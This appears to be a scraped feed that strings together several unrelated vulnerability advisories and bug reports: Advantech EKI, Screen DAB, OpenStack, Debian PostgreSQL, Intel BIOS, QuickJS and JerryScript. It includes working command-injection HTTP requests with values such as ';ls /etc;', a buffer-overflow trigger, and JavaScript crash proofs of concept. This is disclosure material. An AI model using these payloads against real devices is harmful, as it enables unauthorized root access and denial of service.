This exploit circumvents the control and requirement of admin's old password and directly changes the password.

Title: Screen SFT DAB 600/C Authentication Bypass Erase Account Exploit  
Advisory ID: ZSL-2023-5774  
Type: Local/Remote  
Impact: Privilege Escalation, Security Bypass, DoS  
Risk: (4/5)  
Release Date: 13.05.2023

**Summary**

Screen's new radio DAB Transmitter is reaching the highest technology level in both Digital Signal Processing and RF domain. SFT DAB Series - Compact Radio DAB Transmitter - Air. Thanks to the digital adaptive precorrection and configuatio flexibility, the Hot Swap System technology, the compactness and the smart system design, the SFT DAB are advanced transmitters. They support standards DAB, DAB+ and T-DMB and are compatible with major headend brands.

**Description**

This exploit circumvents the control and requirement of admin's old password and directly changes the password.

**Vendor**

DB Elettronica Telecomunicazioni SpA - https://www.screen.it | https://www.dbbroadcast.com

**Affected Version**

Firmware: 1.9.3  
Bios firmware: 7.1 (Apr 19 2021)  
Gui: 2.46  
FPGA: 169.55  
uc: 6.15

**Tested On**

Keil-EWEB/2.1  
MontaVista® Linux® Carrier Grade eXpress (CGX)

**Vendor Status**

\[19.03.2023\] Vulnerability discovered.  
\[20.03.2023\] Vendor contacted.  
\[12.05.2023\] No response from the vendor.  
\[13.05.2023\] Public security advisory released.

**PoC**

screen\_masterpwd.py

**Credits**

Vulnerability discovered by Gjoko Krstic - <gjoko@zeroscience.mk\>

**References**

\[1\] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5776.php  
\[2\] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5772.php

**Changelog**

\[13.05.2023\] - Initial release

**Contact**

Zero Science Lab

Web: https://www.zeroscience.mk  
e-mail: lab@zeroscience.mk

Screen SFT DAB 600/C Authentication Bypass Admin Password Change Exploit

A flaw was found in OpenStack due to an inconsistency between Cinder and Nova. This issue can be triggered intentionally or by accident. A remote, authenticated attacker could exploit this vulnerability by detaching one of their volumes from Cinder. The highest impact is to confidentiality.

Hello OpenStack Security Team,

I’m writing to you, as we faced a serious security breach in OpenStack functionality(correlated a bit with libvirt, iscsi and huawei driver). I was going through OSSA documents and correlated libvirt notes, but I couldn't find something similar. It is not related to https://security.openstack.org/ossa/OSSA-2020-006.html

In short: we observed that newly created cinder volume(1GB size) was attached to compute node instance, but an instance recognized it as a 115GB volume, which(this 115GB volume) in fact was connected to another instance on the same compute node.

\[1. Test environment\]  
Compute node: OpenStack Ussuri configured with Huawei dorado as a storage backend(configuration driver is available here: https://docs.openstack.org/cinder/rocky/configuration/block-storage/drivers/huawei-storage-driver.html)  
Packages:  
v# dpkg -l | grep libvirt  
ii libvirt-clients 6.0.0-0ubuntu8.16 amd64 Programs for the libvirt library  
ii libvirt-daemon 6.0.0-0ubuntu8.16 amd64 Virtualization daemon  
ii libvirt-daemon-driver-qemu 6.0.0-0ubuntu8.16 amd64 Virtualization daemon QEMU connection driver  
ii libvirt-daemon-driver-storage-rbd 6.0.0-0ubuntu8.16 amd64 Virtualization daemon RBD storage driver  
ii libvirt-daemon-system 6.0.0-0ubuntu8.16 amd64 Libvirt daemon configuration files  
ii libvirt-daemon-system-systemd 6.0.0-0ubuntu8.16 amd64 Libvirt daemon configuration files (systemd)  
ii libvirt0:amd64 6.0.0-0ubuntu8.16 amd64 library for interfacing with different virtualization systems  
ii nova-compute-libvirt 2:21.2.4-0ubuntu1 all OpenStack Compute - compute node libvirt support  
ii python3-libvirt 6.1.0-1 amd64 libvirt Python 3 bindings

\# dpkg -l | grep qemu  
ii ipxe-qemu 1.0.0+git-20190109.133f4c4-0ubuntu3.2 all PXE boot firmware - ROM images for qemu  
ii ipxe-qemu-256k-compat-efi-roms 1.0.0+git-20150424.a25a16d-0ubuntu4 all PXE boot firmware - Compat EFI ROM images for qemu  
ii libvirt-daemon-driver-qemu 6.0.0-0ubuntu8.16 amd64 Virtualization daemon QEMU connection driver  
ii qemu 1:4.2-3ubuntu6.23 amd64 fast processor emulator, dummy package  
ii qemu-block-extra:amd64 1:4.2-3ubuntu6.23 amd64 extra block backend modules for qemu-system and qemu-utils  
ii qemu-kvm 1:4.2-3ubuntu6.23 amd64 QEMU Full virtualization on x86 hardware  
ii qemu-system-common 1:4.2-3ubuntu6.23 amd64 QEMU full system emulation binaries (common files)  
ii qemu-system-data 1:4.2-3ubuntu6.23 all QEMU full system emulation (data files)  
ii qemu-system-gui:amd64 1:4.2-3ubuntu6.23 amd64 QEMU full system emulation binaries (user interface and audio support)  
ii qemu-system-x86 1:4.2-3ubuntu6.23 amd64 QEMU full system emulation binaries (x86)  
ii qemu-utils 1:4.2-3ubuntu6.23 amd64 QEMU utilities

\# dpkg -l | grep nova  
ii nova-common 2:21.2.4-0ubuntu1 all OpenStack Compute - common files  
ii nova-compute 2:21.2.4-0ubuntu1 all OpenStack Compute - compute node base  
ii nova-compute-kvm 2:21.2.4-0ubuntu1 all OpenStack Compute - compute node (KVM)  
ii nova-compute-libvirt 2:21.2.4-0ubuntu1 all OpenStack Compute - compute node libvirt support  
ii python3-nova 2:21.2.4-0ubuntu1 all OpenStack Compute Python 3 libraries  
ii python3-novaclient 2:17.0.0-0ubuntu1 all client library for OpenStack Compute API - 3.x

\# dpkg -l | grep multipath  
ii multipath-tools 0.8.3-1ubuntu2 amd64 maintain multipath block device access

\# dpkg -l | grep iscsi  
ii libiscsi7:amd64 1.18.0-2 amd64 iSCSI client shared library  
ii open-iscsi 2.0.874-7.1ubuntu6.2 amd64 iSCSI initiator tools

\# cat /etc/lsb-release  
DISTRIB\_ID=Ubuntu  
DISTRIB\_RELEASE=20.04  
DISTRIB\_CODENAME=focal  
DISTRIB\_DESCRIPTION="Ubuntu 20.04.4 LTS"

Instance OS: Debian-11-amd64

\[2. Test scenario\]  
Already created instance with two volumes attached. First - 10GB for root system, second - 115GB used as vdb. Recognized by compute node as vda - dm-11, vdb - dm-9:

\# virsh domblklist 90fas439-fc0e-4e22-8d0b-6f2a18eee5c1  
 Target Source  
\-------\-------\-------\-  
 vda /dev/dm-11  
 vdb /dev/dm-9

\# multipath -ll  
(...)  
36e00084100ee7e7ed6ad25d900002f6b dm-9 HUAWEI,XSG1  
size=115G features='0' hwhandler='0' wp=rw  
\`-+- policy='service-time 0' prio=1 status=active  
  |- 14:0:0:4 sdm 8:192 active ready running  
  |- 15:0:0:4 sdo 8:224 active ready running  
  |- 16:0:0:4 sdl 8:176 active ready running  
  \`- 17:0:0:4 sdn 8:208 active ready running  
(...)  
36e00084100ee7e7ed6acaa2900002f6a dm-11 HUAWEI,XSG1  
size=10G features='0' hwhandler='0' wp=rw  
\`-+- policy='service-time 0' prio=1 status=active  
  |- 14:0:0:3 sdq 65:0 active ready running  
  |- 15:0:0:3 sdr 65:16 active ready running  
  |- 16:0:0:3 sdp 8:240 active ready running  
  \`- 17:0:0:3 sds 65:32 active ready running

Creating a new instance, with the same OS guest system and 10GB root volume. After successful deployment, creating a new volume(1GB) size and attaching it to newly created instance. We can see after that:

\# multipath -ll  
(...)  
36e00084100ee7e7ed6ad25d900002f6b dm-9 HUAWEI,XSG1  
size=115G features='0' hwhandler='0' wp=rw  
\`-+- policy='service-time 0' prio=1 status=active  
  |- 14:0:0:10 sdao 66:128 failed faulty running  
  |- 14:0:0:4 sdm 8:192 active ready running  
  |- 15:0:0:10 sdap 66:144 failed faulty running  
  |- 15:0:0:4 sdo 8:224 active ready running  
  |- 16:0:0:10 sdan 66:112 failed faulty running  
  |- 16:0:0:4 sdl 8:176 active ready running  
  |- 17:0:0:10 sdaq 66:160 failed faulty running  
  \`- 17:0:0:4 sdn 8:208 active ready running

This way at instance we were able to see a new drive - not 1GB, but 115GB -> so it seems it was incorrectly attached and this way we were able to destroy some data on that volume.

Additionaly we were able to see many errors like that in compute node logs:

\# dmesg -T | grep dm-9  
\[Fri Jan 27 13:37:42 2023\] blk\_update\_request: critical target error, dev dm-9, sector 62918760 op 0x1:(WRITE) flags 0x8800 phys\_seg 2 prio class 0  
\[Fri Jan 27 13:37:42 2023\] blk\_update\_request: critical target error, dev dm-9, sector 33625152 op 0x1:(WRITE) flags 0x8800 phys\_seg 6 prio class 0  
\[Fri Jan 27 13:37:46 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66663000 op 0x1:(WRITE) flags 0x8800 phys\_seg 5 prio class 0  
\[Fri Jan 27 13:37:46 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66598120 op 0x1:(WRITE) flags 0x8800 phys\_seg 5 prio class 0  
\[Fri Jan 27 13:37:51 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66638680 op 0x1:(WRITE) flags 0x8800 phys\_seg 12 prio class 0  
\[Fri Jan 27 13:37:56 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66614344 op 0x1:(WRITE) flags 0x8800 phys\_seg 1 prio class 0  
\[Fri Jan 27 13:37:56 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66469296 op 0x1:(WRITE) flags 0x8800 phys\_seg 24 prio class 0  
\[Fri Jan 27 13:37:56 2023\] blk\_update\_request: critical target error, dev dm-9, sector 66586472 op 0x1:(WRITE) flags 0x8800 phys\_seg 3 prio class 0  
(...)

Unfortunately we do not know what is a perfect test-scenario for it as we could face such issue in less than 2% of our tries, but it looks like a serious security breach.

Additionally we observed that linux kernel is not fully clearing a device allocation(from volume detach), so some of drives names are visible in an output, i.e. lsblk command. Then, after new volume attachment we can see such names(i.e. sdao, sdap, sdan and so on) are reusable by that drive and wrongly mapped by multipath/iscsi to another drive and this way we hit an issue.  
Our question is why linux kernel of compute node is not removing devices allocation and this way is leading to a scenario like that? Maybe this can be a solution here.

Thanks in advance for your help and understanding. In case when more details is needed, do not hesitate to contact me.

CVE-2023-2088: Bug #2004555 “[OSSA-2023-003] Unauthorized volume access through...” : Bugs : OpenStack Compute (nova)

Debian Linux Security Advisory 5401-1 - Two security issues were found in PostgreSQL, which may result in privilege escalation or incorrect policy enforcement.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5401-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffMay 11, 2023                          https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : postgresql-13CVE ID         : CVE-2023-2454 CVE-2023-2455Two security issues were found in PostgreSQL, which may result inprivilege escalation or incorrect policy enforcement.For the stable distribution (bullseye), these problems have been fixed inversion 13.11-0+deb11u1.We recommend that you upgrade your postgresql-13 packages.For the detailed security status of postgresql-13 please refer toits security tracker page at:https://security-tracker.debian.org/tracker/postgresql-13Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmRdF+kACgkQEMKTtsN8TjZnMA/+OW6jZvbc8StDbvz+I23baEoZizDuXYQ+LxMTBlXQMU52AsZqOOVNHWkcwWG2DtZRNWVPUftfJORenpjDMviqR+/yBJLlOu4jH68V8EFtv1I9jk70AmOGccL4mYSr66iawcIpzQFo5mv/BcMREI5raSNT/tFDtIBRfQlEYMwLfnBfprN/DGzn5x/p4Wn/7AH7a0Gu2S69YaEpgMo4eJ3g9wEsG8wgDNUieNXT67BH2qRt0h/9My2bsNVv/b0XkX+0wlDEOAd9TJSTcSqOXIlJ/8UV9DPlZE202RzrFrrcYuIyJUxdKyBDHnOTW/uWkNBTjUcE72RsSmN8XtygUA/YJIk8jtbTLSysyoSb0ONNbKo74HCwKOLTzyoR84SEd5IknZRWfmszL0wZj8qy3YWrPes2mqfFQYWXGPrjPFJmkksWU0fmuLD8rt7L02XSPoWbM47FNA+12lKqFEb39woCxo/D46G2QX0c6gIm9oeyYg1WUApmVBqRkDsps/Fv1kBeyTzq7MGUEWjpNiJaHSna3j893kr7cfnTcBe5OgKe/7yijVIf7bSoGmcvLvlb6zqQ7K5V/Mv8he9k6eInvpiIzEDTCL+BI3tXde3BO/TMTFgpgSXOAizIB+PXVz6TzW07blMzNxhKl6YqVpWt7tMtRefLdzg4CMA3QMrvzv8zPXU=D+6d-----END PGP SIGNATURE-----

Debian Security Advisory 5401-1

Advantech EKI-1524-CE series, EKI-1522 series, and EKI-1521 series suffer from command injection and buffer overflow vulnerabilities.

CyberDanube Security Research 20230511-0  
-------------------------------------------------------------------------------  
                title| Multiple Vulnerabilities  
              product| EKI-1524-CE series, EKI-1522 series, EKI-1521 series  
   vulnerable version| 1.21  
        fixed version| 1.24  
           CVE number| CVE-2023-2573, CVE-2023-2574, CVE-2023-2575  
               impact| High  
             homepage| https://advantech.com  
                found| 2023-03-06  
                   by| S. Dietz, T. Weber (Office Vienna)  
                     | CyberDanube Security Research  
                     | Vienna | St. Pölten  
                     |  
                     | https://www.cyberdanube.com  
-------------------------------------------------------------------------------

Vendor description  
-------------------------------------------------------------------------------  
"Advantech’s corporate vision is to enable an intelligent planet. The company  
is a global leader in the fields of IoT intelligent systems and embedded  
platforms. To embrace the trends of IoT, big data, and artificial intelligence,  
Advantech promotes IoT hardware and software solutions with the Edge  
Intelligence WISE-PaaS core to assist business partners and clients in  
connecting their industrial chains. Advantech is also working with business  
partners to co-create business ecosystems that accelerate the goal of  
industrial intelligence."

Source: https://www.advantech.com/en/about

Vulnerable versions  
-------------------------------------------------------------------------------  
EKI-1524-CE series / 1.21  
EKI-1522-CE series / 1.21  
EKI-1521-CE series / 1.21

Vulnerability overview  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection (CVE-2023-2573, CVE-2023-2574)  
The web server of the device is prone to two authenticated command injections.  
These allow an attacker to gain full access to the underlying operating system  
of the device. This device class can be attached to legacy systems via RS-232,  
RS-422 or RS-485. Such peripheral systems can be affected by attacks to the  
device from malicious actors.

2) Buffer Overflow (CVE-2023-2575)  
The web server is prone to a buffer overflow, triggered due to missing input  
lenght validation in the NTP input field. According to the vendor, the NTP  
server string is expected to be 64 bytes long, which is not correctly checked.

Proof of Concept  
-------------------------------------------------------------------------------  
1) Authenticated Command Injection  
The web server is prone to two authenticated command injections via POST  
parameters. The following proof-of-concepts show how to inject commands to the  
system which gets executed with root permissions in the background:

1.1) Blind Authenticated Command Injection in NTP Server Name (CVE-2023-2573)  
The following POST request executes the command “;ping 10.0.0.1” on the system:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=;ping+10.0.0.1;&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
It is also possible to execute this command without any interceptor proxy by  
enclose it with ";", which results in the string “;ping 10.0.0.1;”.

1.2) Blind Authenticated Command Injection in Device Name (CVE-2023-2574)  
The device name can also be abused for command injection. It is only executed  
on reboot, but this can also be done via the device’s web-interface. A POST  
request which injects the command “;ls /etc;” can be looks like the following:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.100  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 541  
Origin: http://172.16.0.100  
Connection: close  
Referer: http://172.16.0.100/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=;ls+/etc;&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=6&min_name=45&sec_name=18&tz=UTC12%3A0&ntp_name=&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80

===============================================================================  
Such command can also be injected by setting the device name to “;ls /etc;”.

2) Buffer Overflow (CVE-2023-2575)  
The following POST request can be used to trigger a buffer overflow  
vulnerability in the web server:  
===============================================================================  
POST /cgi-bin/index.cgi?func=setsys HTTP/1.1  
Host: 172.16.0.97  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: */*  
Accept-Language: de,en-US;q=0.7,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 823  
Origin: http://172.16.0.97  
Connection: close  
Referer: http://172.16.0.97/cgi-bin/index.cgi

web_en=1&resume_idx=0&sys_name=test&sys_desc=&ignr_devid=0&tel_en=1&snmp_en=1&year_name=2023&mon_name=5&day_name=8&hour_name=7&min_name=2&sec_name=52&tz=UTC12%3A0&ntp_name=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&dayligt_saving_time=0&start_week=1&start_day=0&start_month=1&start_time=&end_week=1&end_day=0&end_month=1&end_time=&dst_timezone=&slave_port=&redt_num=%25REDTNUM%25&redtID%25REDTNUM%25=%25REDTID%25&priPath%25REDTNUM%25=%25PRIPATH%25&secPath%25REDTNUM%25=%25SECPATH%25&interface=0&virtual_ip=%25VIRTGW_IP%25&id=%25VIRTGW_ID%25&priority=80  
===============================================================================

The serial port of the device provides error messages, which already indicate  
that the stack has been corrupted:  
/ # *** Error in `./index.cgi': free(): invalid next size (normal): 0x00069828 ***  
*** Error in `./index.cgi': malloc(): memory corruption: 0x00069898 ***

Furthermore, the forked child processes seem to remain in the process list as  
zombies - three buffer overflows were triggered in this case:  
/ # ps  
PID   USER     COMMAND  
[...]  
  935 root     ./index.cgi func=setsys  
  959 root     ./index.cgi func=setsys  
  983 root     ./index.cgi func=setsys  
[...]

The vulnerabilities were manually verified on an emulated device by using the  
MEDUSA scalable firmware runtime (https://medusa.cyberdanube.com).

Solution  
-------------------------------------------------------------------------------  
Update the product to the latest available firmware version.

Workaround  
-------------------------------------------------------------------------------  
None

Recommendation  
-------------------------------------------------------------------------------  
CyberDanube recommends Advantech customers to upgrade the firmware to the  
latest version available.

Contact Timeline  
-------------------------------------------------------------------------------  
2023-03-08: Contacting Advantech via Service Request form; No answer.  
2023-03-13: Contacting Advantech via Czech PSIRT (security@advantech.cz);  
            Vendor confirmed vulnerabilities and will provide a fixed firmware  
            until 2023-05-13. Asked vendor for affected models; Vendo  
            responded that EKI-1524/1522/1521 series are affected.  
2023-03-20: Asked for status update.  
2023-03-21: Vendor responded that the firmware is currently under testing.  
2023-03-31: Vendor statet, that firmware is done and sent it via email; Found  
            additional issues and responded to vendor.  
2023-04-01: Vendor asked multiple question.  
2023-04-02: Responded to vendor, answered questions and asked for a call;  
            Vendor agreed.  
2023-04-04: Set date for a call to 2023-04-10.  
2023-04-10: Clarified further issues.  
2023-04-23: Vendor sent notification that a beta release of the firmware is  
            available.  
2023-05-02: Vendor sent notification that a new firmware release is online.  
2023-05-04: Asked vendor if the advisory can be published earlier than agreed.  
2023-05-08: Asked for status update; Vendor confirmed that all vulnerabilities  
            have been fixed.  
2023-05-11: Coordinated release of security advisory.

Web: https://www.cyberdanube.com  
Twitter: https://twitter.com/cyberdanube  
Mail: research at cyberdanube dot com

EOF S. Dietz, T. Weber / @2023

Advantech EKI-15XX Series Command Injection / Buffer Overflow

Improper access control in the Intel(R) Server Board S2600WTT belonging to the Intel(R) Server Board S2600WT Family with the BIOS version 0016 may allow a privileged user to potentially enable escalation of privilege via local access.

**Select Your Region**

Sign In to access restricted content

**Using Intel.com Search**

You can easily search the entire Intel.com site in several ways.

*   Brand Name: **Core i9**
*   Document Number: **123456**
*   Code Name: **Alder Lake**
*   Special Operators: **“Ice Lake”, Ice AND Lake, Ice OR Lake, Ice\***

**Quick Links**

You can also try the quick links below to see results for most popular searches.

*   Product Information
*   Support
*   Drivers & Software

**Recent Searches**

Sign In to access restricted content

**Advanced Search**

**Only search in**

Title Description Content ID

Sign in to access restricted content.

The browser version you are using is not recommended for this site.  
Please consider upgrading to the latest version of your browser by clicking one of the following links.

*   Safari
*   Chrome
*   Edge
*   Firefox

**SmmRuntime Escalation of Privilege**

Intel ID: 

INTEL-SA-00056

Product family: 

Intel® Server Board S1200/1400/1600/2400/2600/4600 series

Impact of vulnerability: 

Elevation of Privilege

Severity rating: 

Important

Original release: 

Aug 08, 2016

Last revised: 

Sep 30, 2016

**Summary:** 

Intel is releasing mitigations for a privilege escalation issue. This issue affects the UEFI BIOS of select Intel Products. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).

**Description:** 

A malicious attacker with local administrative access can leverage the vulnerable function to gain access to System Management Mode (SMM) and take full control of the platform. Intel products that are listed below should apply the update.

Other vendors’ products which use the common BIOS function SmmRuntime may be impacted.  To find out whether a product you have may be vulnerable to this issue, please contact your system supplier.

  
The table below provides the list of Intel products impacted by the issue as well as the versions and the locations of the BIOS that contains the fix. If the customer system has BIOS version lower than one listed in the table customer is recommended to upgrade the BIOS to the version listed below, or later.

How to identify Intel® Server Boards model and BIOS version?

To identify the server board model and the BIOS version customer can use one of the methods below.

1.  For server systems running Microsoft Windows\* operating systems, download and run the Intel® System Support Utility and view

Detailed View – Computer – BIOS Version/Date

Detailed View – Computer – System Model

The utility will generate an output file with computer system information. The BIOS version and the board model should look like this:

BIOS Version/Date            Intel Corporation SE5C610.86B.01.01.0008.021120151325 , 02/11/2015 12:00 AM

System Model                    S2600WT2      

   2.  For server systems running Linux operating system customers should execute the commands below to obtain the BIOS version and the Board model respectively:

dmidecode -t 0 | grep Version | awk -F : '{ print $2 }' | sed s/\\ //g

dmidecode -t 2 | grep Product | awk -F : '{ print $2 }' | sed s/\\ //g

The first command will return the line of text similar to this:

SE5C610.86B.01.01.0016.033120161139

The second command will return the line of text similar to this:

S2600WTT

In this example the commands were executed on the Intel® Server Board S2600WTT belonging to the Intel® Server Board S2600WT Family with the BIOS version 0016.

Product Name

Recommended BIOS version (or later)

Intel® Server Board S1200RP Family

0006

Intel® Server Board S1400FP Family

0005

Intel® Server Board S1400SP Family

0005

Intel® Server Board S1600JP Family

0005

Intel® Server Board S2400BB Family

0005

Intel® Server Board S2400EP Family

0005

Intel® Server Board S2400SC Family

0005

Intel® Server Board S2600CO Family

0005

Intel® Server Board S2600CP Family

0005

Intel® Server Board S2600GL Family

Intel® Server Board S2600GZ Family

0005

Intel® Server Board S2600IP Family

0005

Intel® Workstation Board W2600CR Family

0005

Intel® Server Board S2600JF Family

0005

Intel® Server Board S2600WP Family

0005

Intel® Server Board S4600LH Family

Intel® Server Board S4600LT Family

0005

Intel® Server Board S2600CW Family

0018

Intel® Server Board S2600KP Family

0018

Intel® Server Board S2600TP Family

0018

Intel® Server Board S2600WT Family

0018

Intel® Server Board S1200BT

0044

**Recommendations:** 

Intel highly recommends applying the mitigations. For Intel branded products where a mitigation is still pending, we recommend following good security practices including running with least privilege and keeping security software and operating systems up to date.

**Acknowledgements:** 

N/A

Revision

Date

Description

1.1

16-August-2016

Removed Intel® Compute Module MFS2600KI due to EOL

1.2

23-August-2016

Removed EOLd boards and updated availability date

1.3

29-September-2016

Updated remaining boards with BIOS download URL

1.4

30-September-2016

Corrected Version Numbers

1.5

04-September-2018

Added S1200BT Family mitigations

1.6

09-May-2023

Updated CVE Number

**Legal Notices and Disclaimers**

Intel provides these materials as-is, with no express or implied warranties.

All products, dates, and figures specified are preliminary based on current expectations, and are subject to change without notice.

Intel products and services described may contain design defects or errors known as errata, which may cause the product to deviate from published specifications. Current characterized errata are available on request.

Intel products that have met their End of Servicing Updates may no longer receive functional and security updates. For additional details on support and servicing, please see this help article. 

Intel technologies’ features and benefits depend on system configuration and may require enabled hardware, software or service activation. Performance varies depending on system configuration. No product or component can be absolutely secure. Check with your system manufacturer or retailer or learn more at http://intel.com.

Some results have been estimated or simulated using internal Intel analysis or architecture simulation or modeling, and provided to you for informational purposes. Any differences in your system hardware, software or configuration may affect your actual performance.

© Intel Corporation.  Intel, the Intel logo, and other Intel marks are trademarks of Intel Corporation or its subsidiaries United States and other countries.  Other names and brands may be claimed as the property of others.

**Report a Vulnerability**

If you have information about a security issue or vulnerability with an **Intel branded product or technology**, please send an e-mail to secure@intel.com. Encrypt sensitive information using our PGP public key.

Please provide as much information as possible, including:

*   The products and versions affected
*   Detailed description of the vulnerability
*   Information on known exploits

A member of the Intel Product Security Team will review your e-mail and contact you to collaborate on resolving the issue. For more information on how Intel works to resolve security issues, see:

*   Vulnerability handling guidelines

For issues related to Intel's external web presence (Intel.com and related subdomains), please contact Intel's External Security Research team.

**Need product support?**

If you...

*   Have questions about the security features of an Intel product
*   Require technical support
*   Want product updates or patches

  
Please visit Support & Downloads.

*   Report a Vulnerability
*   Product Support

CVE-2023-30768: INTEL-SA-00056

QuickJS commit 2788d71 was discovered to contain a stack-overflow via the component js_proxy_isArray at quickjs.c.

**QuickJS Version**

Version : 2788d71

**platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build**

*   Address Sanitizer=On
*   Debug (and Release)

**PoC**testcase

Array . isArray ( \[ \] ) ; Array . isArray ( { } ) , Array . isArray ( null ) , Array . isArray ( 0 ) , Array . isArray ( 0.1 ) , Array . isArray ( " " ) , Array . isArray ( void 0 ) , Array . isArray ( new Proxy ( \[ \] , { } ) ) , Array . isArray ( new Proxy ( { } , { } ) ) , Array . isArray ( new Proxy ( new Proxy ( \[ \] , { } ) , { } ) ) , Array . isArray ( new Proxy ( new Proxy ( { } , { } ) , { } ) ) ; for ( var r \= new Proxy ( \[ \] , { } ) , y \= 0 ; y < 131072 ; y ++ ) r \= new Proxy ( r , { } ) ; Array . isArray ( r ) , RangeError ;

// poc.js
for (var r \= new Proxy (\[\],{}) , y \= 0 ; y < 131072 ; y ++ ) 
    r \= new Proxy (r, {}); 
Array . isArray (r);

**Execution steps & Output**

The js\_proxy\_isArray() function and the JS\_IsArray() function are calling each other recursively.  
infinite loop occurs here.

    $ ./qjs poc.js
    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2347865==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcfb766fd8 (pc 0x557e466f5b94 bp 0x7ffcfb767110 sp 0x7ffcfb766fd8 T0)
        #0 0x557e466f5b93 in js_proxy_isArray ./quickjs/quickjs.c:45242
        #1 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #2 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #3 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #4 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #5 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        ...
        #491 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #492 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #493 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #494 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
        #495 0x557e466f5f3f in JS_IsArray ./quickjs/quickjs.c:11975
        #496 0x557e466f5f3f in js_proxy_isArray ./quickjs/quickjs.c:45250
    
    SUMMARY: AddressSanitizer: stack-overflow ./quickjs/quickjs.c:45242 in js_proxy_isArray
    ==2347865==ABORTING
    

Credits: @Ye0nny, @EJueon of the seclab-yonsei.

CVE-2023-31922: AddressSanitizer: stack-overflow · Issue #178 · bellard/quickjs

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the jcontext_raise_exception at jerry-core/jcontext/jcontext.c.

**JerryScript revision**

Commit: 05dbbd1  
Version: v3.0.0

**Build platform**

Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86\_64)

**Build steps**

python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20

**Test case**

// poc.js
var t \= Function ( ) ; 
t \[ Symbol . species \] \= Object ; 
var e \= new Proxy ( { constructor : t  } , { set : function ( ) { } }  ) ; 
RegExp . prototype \[ Symbol . matchAll \] . call ( e ) ; 

**Execution steps & Output**

$ ./jerryscript/build/bin/jerry poc.js
